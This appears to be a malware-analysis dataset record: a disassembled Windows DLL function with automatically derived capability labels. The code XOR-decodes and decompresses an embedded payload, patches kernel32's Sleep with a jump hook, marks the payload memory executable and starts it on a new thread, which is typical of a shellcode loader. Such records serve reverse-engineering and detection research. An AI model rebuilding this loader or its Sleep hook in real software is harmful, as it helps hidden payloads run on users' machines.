Function at 0x1800011d0
Capabilities:
Compress data via winapi
Create thread
Encode data using xor
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x70
mov rax, qword [0x18001d008]
xor rax, rsp
mov qword [rbp - 0x10], rax
xor esi, esi
mov r15d, esi
mov r14d, esi
mov edx, 0x937
xor ecx, ecx
lea r9d, [rsi + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
je 0x180001303
xor edx, edx
mov r8d, 0x937
mov rcx, rax
call fcn.180003fe0
mov rcx, rbx
lea rdx, [0x18001db00]
mov r8d, 0x937
call fcn.180003930
mov eax, 0x2ee9
mov word [rbp - 0x40], ax
movzx ecx, si
mov rdx, rbx
mov r8d, 0x312
mov eax, esi
cmp cx, 1
cmovne ax, cx
movzx ecx, ax
movzx eax, byte [rbp + rcx*2 - 0x40]
xor byte [rdx], al
inc cx
lea rdx, [rdx + 1]
sub r8, 1
jne 0x180001262
mov dword [rbp - 0x3c], esi
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
test rax, rax
je 0x180001303
lea rdx, str.RtlDecompressBuffer
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
test rax, rax
je 0x180001303
mov edx, 0x24dc
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r15, rax
mov ecx, 2
lea rax, [rbp - 0x3c]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x937
mov r9, rbx
mov r8d, 0x24dc
mov rdx, r15
call rdi
mov r14d, dword [rbp - 0x3c]
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x28], xmm1
mov rdi, rsi
mov qword [rbp - 0x18], rsi
mov byte [rbp - 0x40], 0
mov ebx, r14d
test r14d, r14d
je 0x180001331
lea r8, [rbp - 0x40]
mov edx, ebx
lea rcx, [rbp - 0x28]
call fcn.180001660
mov rdi, qword [rbp - 0x18]
mov r8, rbx
mov rdx, r15
mov rbx, qword [rbp - 0x28]
mov rcx, rbx
call fcn.180003930
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
mov qword [0x18001f7b0], rax
mov word [rbp - 0x38], 0xba49
mov word [rbp - 0x2e], 0xff41
lea rax, [0x1800017d0]
mov qword [rbp - 0x36], rax
mov dword [rbp - 0x40], esi
xor r14b, r14b
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
movups xmm0, xmmword [rax]
movups xmmword [0x18001f7b8], xmm0
lea r9, [rbp - 0x40]
mov edx, 0xd
lea r8d, [rdx + 0x33]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1800013b6
mov rcx, qword [sym.imp.KERNEL32.dll_Sleep]
movsd xmm0, qword [rbp - 0x38]
movsd qword [rcx], xmm0
mov eax, dword [rbp - 0x30]
mov dword [rcx + 8], eax
mov byte [rcx + 0xc], 0xe2
mov r14b, 1
cmp qword [0x18001f7c8], 0
jne 0x1800013e9
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtFlushInstructionCache
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x18001f7c8], rax
test rax, rax
je 0x180001405
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov r8d, 0xd
mov rdx, qword [sym.imp.KERNEL32.dll_Sleep]
call qword [0x18001f7c8]
lea r9, [rbp - 0x40]
mov r8d, dword [rbp - 0x40]
mov edx, 0xd
mov rcx, qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test r14b, r14b
jne 0x180001486
test rbx, rbx
je 0x18000145c
sub rdi, rbx
mov rax, rbx
cmp rdi, 0x1000
jb 0x180001451
add rdi, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180001593
mov rdx, rdi
mov rcx, rbx
call fcn.180001ed4
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.180001a00
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov qword [rbp - 0x30], rsi
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rbp - 0x38], rax
mov r14, qword [rbp - 0x20]
mov r15, r14
sub r15, rbx
mov r9d, 4
mov r8d, 0x1000
lea rdx, [r15 + 1]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r12, rax
test rax, rax
jne 0x1800014c4
mov rcx, rsi
jmp 0x18000152e
mov r8, r15
mov rdx, rbx
mov rcx, r12
call fcn.180003930
lea r9, [rbp - 0x3c]
mov r8d, 0x20
lea rdx, [r15 + 1]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1800014f2
mov rcx, rsi
jmp 0x18000152e
cmp rbx, r14
cmovne r14, rbx
mov qword [rbp - 0x20], r14
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
mov r9, r12
lea r8, [0x180001800]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rsi, rax
mov qword [rbp - 0x30], rax
test rax, rax
setne al
mov rcx, rsi
test al, al
jne 0x180001573
test rcx, rcx
je 0x18000153d
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
test rbx, rbx
je 0x18000145c
sub rdi, rbx
mov rax, rbx
cmp rdi, 0x1000
jb 0x180001451
add rdi, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180001593
jmp 0x180001451
lea rcx, [rbp - 0x38]
call fcn.1800015f0
mov rcx, rax
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.18000817c
int3